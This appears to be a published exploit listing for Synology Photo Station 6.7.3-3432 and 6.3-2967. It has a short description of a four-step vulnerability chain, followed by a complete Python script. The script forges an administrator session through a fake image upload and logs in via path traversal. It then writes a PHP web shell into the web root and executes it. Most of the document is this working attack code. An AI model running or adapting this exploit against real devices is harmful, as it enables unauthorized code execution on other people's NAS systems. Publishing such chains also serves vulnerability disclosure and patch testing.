Synology Photo Station 6.7.3-3432 / 6.3-2967 – Remote Code Execution
''' Source: https://blogs.securiteam.com/index.php/archives/3356 Vulnerability details The remote code execution is a combination of 4 different vulnerabilities: Upload arbitrary files to the specified directories Log in with a fake authentication mechanism Log in to Photo Station with any identity Execute arbitrary code by authenticated user with administrator privileges The chain of vulnerabilities will allow you, in the end, to execute code as: uid=138862(PhotoStation) gid=138862(PhotoStation) groups=138862(PhotoStation) ''' import requests # What server you want to attack synology_ip = 'http://192.168.1.100' # Your current IP ip = '192.168.1.200' # PHP code you want to execute php_to_execute = '<?php echo system("id"); ?>' encoded_session = 'root|a:2:{s:19:"security_identifier";s:'+str(len(ip))+':"'+ip+'";s:15:"admin_syno_user";s:7:"hlinak3";}' print "[+] Set fake admin sesssion" file = [('file', ('foo.jpg', encoded_session))] r = requests.post('{}/photo/include/synotheme_upload.php'.format(synology_ip), data = {'action':'logo_upload'}, files=file) print r.text print "[+] Login as fake admin" # Depends on version it might be stored in different dirs payload = {'session': '/../../../../../var/packages/PhotoStation/etc/blog/photo_custom_preview_logo.png'} # payload = {'session': '/../../../../../var/services/photo/@eaDir/SYNOPHOTO_THEME_DIR/photo_custom_preview_logo.png'} try_login = requests.post('{}/photo/include/file_upload.php'.format(synology_ip), params=payload) whichact = {'action' : 'get_setting'} r = requests.post('{}/photo/admin/general_setting.php'.format(synology_ip), data=whichact, cookies=try_login.cookies) print r.text print "[+] Upload php file" c = {'action' : 'save', 'image' : 'data://text/plain;base64,'+php_to_execute.encode('base64'), 'path' : '/volume1/photo/../../../volume1/@appstore/PhotoStation/photo/facebook/exploit'.encode("base64"), 'type' : 'php'} r = requests.post('{}/photo/PixlrEditorHandler.php'.format(synology_ip), data=c, cookies=try_login.cookies) print r.text print "[+] Execute payload" f = requests.get('{}/photo/facebook/exploit.php'.format(synology_ip)) print f.text |